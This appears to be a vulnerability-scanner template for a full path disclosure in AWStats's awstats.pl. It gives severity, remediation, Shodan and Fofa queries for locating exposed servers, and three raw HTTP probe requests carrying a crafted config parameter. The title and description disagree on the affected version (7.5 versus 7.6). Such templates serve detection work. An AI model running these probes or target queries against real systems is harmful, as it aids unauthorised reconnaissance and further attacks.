| Title | AWStats <= 7.5 - Full Path Disclosure |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can discover server file paths, aiding further exploitation or reconnaissance. |
| Remediation | Update to the latest version of AWStats or apply security patches addressing this issue. |
| CVSS Score | 5.3 |
| CWE ID | CWE-200 |
| Shodan Query | http.html:"AWStats" |
| Fofa Query | app="AWStats" |
| Tags | cve cve2018 awstats fpd disclosure exposure |
AWStats 7.6 contains a full path disclosure caused by improper handling of framename and update parameters in awstats.pl, letting remote attackers determine server file paths, exploit requires sending crafted parameters.
GET /cgi-bin/awstats.pl?config=38FaRMcC3ZLjLtwtvx41F4mGnZg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /awstats/awstats.pl?config=38FaRMcC3ZLjLtwtvx41F4mGnZg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /awstats.pl?config=38FaRMcC3ZLjLtwtvx41F4mGnZg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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